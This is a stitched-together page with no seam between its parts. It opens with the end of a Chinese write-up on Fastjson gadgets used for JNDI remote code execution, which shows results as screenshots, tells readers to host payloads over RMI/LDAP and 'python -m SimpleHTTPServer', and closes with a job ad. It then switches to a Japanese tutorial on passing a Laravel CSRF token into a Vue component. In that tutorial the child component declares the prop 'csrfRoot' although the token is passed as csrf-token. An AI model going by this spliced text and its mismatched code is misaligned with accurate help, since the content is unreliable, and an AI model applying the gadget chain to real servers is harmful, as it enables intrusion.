![oracle.jdbc.connector.OracleManagedConnectionFactory](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/3dfa3f3b-d056-767e-bdf3-ec93429db6c6.png)


使用`org.apache.commons.configuration.JNDIConfiguration` payload 效果如下

![org.apache.commons.configuration.JNDIConfiguration](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/0925eaf6-6e7d-0df2-efa8-f332f865a185.png)


### 总结
这两个gadget,对于实战来说较为鸡肋.因为对于依赖的jar来说,并不是中间件或者JDK自带的jar,还需要手动开启AutoType.但这种利用AST语法树寻找利用类的方式值得学习.
### 后记
对于不会开启rmi和ldap服务的同学可以查阅我的文章——《如何快速开启RMI&&LDAP》，快速开启http服务可以使用`python -m SimpleHTTPServer`.
使用JNDI进行rce，请注意JDK对于JNDI的修复，可参考pyn3rd师傅的图

![JDK对于JNDI的修复](https://upload-images.jianshu.io/upload_images/5350990-2856714295333805.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
### 鸣谢
pyn3rd
### Reference
https://github.com/alibaba/fastjson/issues/2756
https://www.freebuf.com/articles/web/213327.html
https://mp.weixin.qq.com/s/TuQWvyro5vphyeZCAo_Y6g
### 招聘
亚信安全火爆招人中,请参阅下文(或在本公众号中寻找招聘简章)投递您的简历
https://mp.weixin.qq.com/s/88K0GFPWYXD5MlBioPd5qQ
ページの一部をVue.jsで作るときにバックエンドからVueインスタンスに値を渡す方法（csrfTokenの例）

## 導入
ページ全体ではなくてページの一部にVue.jsを導入することができますが、
一般的にVueインスタンスにバックエンド側から初期値を渡す場合に2通りの方法があると考えています。

1. 一度JavaScriptファイルを配信して、そこからバックエンドAPI経由で値を取得する方法
2. バックエンドから初期値を入れた状態のJavaScriptファイルを配信する

この記事では、このうちの2つ目の方法について紹介します。

## やり方詳細

例としてバックエンド側からcsrfTokenを渡したいケースについて扱います。
以下のようなHTMLがあるとします。後述するように、ここで `piyo-child-component` が子コンポーネントを表します。

```html
        // headタグ辺りで定義しておく。`{{ }}` は Laravel Blade の記法。`csrf_token()`はLaravelのヘルパ関数。これらは他のフレームワークでもバックエンド側でviewで入れられれば同じかと思います
        <meta name="csrf-token" content="{{ csrf_token() }}">

        // ここにVueインスタンスがマウントされる
        <div class="js-hogehoge">
            <piyo-child-component
                    :csrf-token="csrfToken"
            ></piyo-child-component>
        </div>
```

対応する JavaScript は以下のようになります。これはVueではなくて単なる素のJavaScriptで書かれています。

```javascript
  import PiyoChildComponent from './components/piyo-child-component';

  // metaタグからバックエンドで生成したcsrfTokenを取得
  const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

  // 上記html内のclass属性からelementを取得
  const elementHogeHoge = document.querySelector('.js-hogehoge');
  if (elementHogeHoge) {
    // elで指定したDOMに無名Vueインスタンスをマウントする（htmlの上にVueインスタンスを乗っけるイメージ）
    new Vue({
      data() {
        return {
          csrfToken: csrfToken,
        };
      },
　　　 // Vueインスタンスをマウントする先を指定 
      el: elementHogeHoge,
      // 通常のvueコンポーネントの中で他のコンポーネントを使用するときに書く記法と同じ
      components: {PiyoChildComponent},
    });
  }
```

以下のコードは再掲になりますが、上記JavaScriptの中で`components`で指定した`PiyoChildComponent`は、暗黙的にケバブケース（ハイフン続きで置き換えたもの）で呼び出しされます。 

* 注意： 完全にvueの世界に入ってしまえば `:csrfToken="csrfToken"` でも `:csrf-token="csrfToken"` でもどちらでも動くのですが、ここはまだhtmlの世界なので大文字小文字の区別がなく、キャメルケースでは動かないので注意が必要です。参考： https://jp.vuejs.org/v2/guide/components-props.html


```vuejs
            <piyo-child-component
　　　　　　　　　　　　// 上記の data() で親である無名Vueインスタンスが受け取ったデータを、ここで子コンポーネントに渡しています
                    :csrf-token="csrfToken"
            ></piyo-child-component>
```

ここで渡した値は子コンポーネントの中でpropsとして受け取ることができます（通常のコンポーネント間での受け渡しと同じ）。

```vuejs
<script>
  export default {
    name: 'piyo-child-component',
    props: ['csrfRoot'],
  };
</script>
```

# Special Thanks
この方法は同僚の @zackey2 さんに教えてもらいました。ありがとうございます！